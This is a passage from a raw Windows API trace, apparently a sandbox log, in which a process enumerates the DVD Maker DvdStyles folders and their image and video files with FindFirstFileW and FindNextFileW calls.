ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.913] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0273.913] GetLastError () returned 0x12 [0273.914] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.914] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.914] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0273.914] GetLastError () returned 0x12 [0273.915] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.915] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.915] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0273.915] GetLastError () returned 0x12 [0273.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.915] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.915] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0273.915] GetLastError () returned 0x12 [0273.915] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.915] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.915] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0273.916] GetLastError () returned 0x12 [0273.916] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.916] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.917] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0273.917] GetLastError () returned 0x12 [0273.917] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.917] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.917] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0273.918] GetLastError () returned 0x12 [0273.918] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.918] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.918] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0273.918] GetLastError () returned 0x12 [0273.919] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.919] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.919] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0273.919] GetLastError () returned 0x12 [0273.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.923] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.923] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0273.923] GetLastError () returned 0x12 [0273.923] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.923] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.923] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1 [0273.923] GetLastError () returned 0x12 [0273.923] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.925] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.925] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0273.925] GetLastError () returned 0x12 [0273.925] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.926] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.926] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0273.927] GetLastError () returned 0x12 [0273.927] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.929] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.929] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0273.929] GetLastError () returned 0x12 [0273.929] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.930] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.930] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0273.930] GetLastError () returned 0x12 [0273.930] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.932] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.932] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0273.932] GetLastError () returned 0x12 [0273.932] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.933] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.933] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0273.933] GetLastError () returned 0x12 [0273.933] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.935] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.935] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0273.935] GetLastError () returned 0x12 [0273.935] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.936] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.936] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0273.936] GetLastError () returned 0x12 [0273.936] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.938] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.938] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0273.938] GetLastError () returned 0x12 [0273.938] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.939] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.939] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, 